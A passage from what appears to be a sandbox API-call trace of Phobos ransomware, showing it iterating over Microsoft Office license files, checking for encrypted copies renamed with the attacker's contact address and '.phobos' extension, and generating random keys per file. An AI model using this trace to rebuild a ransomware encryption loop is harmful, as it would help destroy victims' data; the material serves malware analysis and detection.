files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.241] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.241] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20784) returned 1 [0153.241] CloseHandle (hObject=0x574) returned 1 [0153.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ppd.xrm-ms")) returned 0x220 [0153.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.242] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.242] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11604) returned 1 [0153.242] CloseHandle (hObject=0x574) returned 1 [0153.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0153.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.243] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.243] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19949) returned 1 [0153.243] CloseHandle (hObject=0x574) returned 1 [0153.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0153.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.244] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.244] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10647) returned 1 [0153.244] CloseHandle (hObject=0x574) returned 1 [0153.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-pl.xrm-ms")) returned 0x220 [0153.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.245] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.245] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20782) returned 1 [0153.245] CloseHandle (hObject=0x574) returned 1 [0153.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ppd.xrm-ms")) returned 0x220 [0153.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.245] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.246] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11596) returned 1 [0153.246] CloseHandle (hObject=0x574) returned 1 [0153.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ul-oob.xrm-ms")) returned 0x220 [0153.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.246] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.247] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19941) returned 1 [0153.247] CloseHandle (hObject=0x574) returned 1 [0153.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ul-phn.xrm-ms")) returned 0x220 [0153.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.248] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.358] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=6798) returned 1 [0153.359] CloseHandle (hObject=0x574) returned 1 [0153.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ppd.xrm-ms")) returned 0x220 [0153.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.359] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp3-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.360] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19941) returned 1 [0153.360] CloseHandle (hObject=0x574) returned 1 [0153.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp3-ul-phn.xrm-ms")) returned 0x220 [0153.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp3-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.360] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.361] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10647) returned 1 [0153.361] CloseHandle (hObject=0x574) returned 1 [0153.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp4-pl.xrm-ms")) returned 0x220 [0153.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp4-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.361] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.362] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=24303) returned 1 [0153.362] CloseHandle (hObject=0x574) returned 1 [0153.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp4-ppd.xrm-ms")) returned 0x220 [0153.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp4-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.362] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.363] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11596) returned 1 [0153.364] CloseHandle (hObject=0x574) returned 1 [0153.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp4-ul-oob.xrm-ms")) returned 0x220 [0153.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp4-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.364] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp4-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.365] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19941) returned 1 [0153.365] CloseHandle (hObject=0x574) returned 1 [0153.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp4-ul-phn.xrm-ms")) returned 0x220 [0153.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp4-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp4-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.365] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.366] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10647) returned 1 [0153.366] CloseHandle (hObject=0x574) returned 1 [0153.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp5-pl.xrm-ms")) returned 0x220 [0153.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp5-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp5-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.366] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.367] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=24303) returned 1 [0153.367] CloseHandle (hObject=0x574) returned 1 [0153.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp5-ppd.xrm-ms")) returned 0x220 [0153.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp5-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp5-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 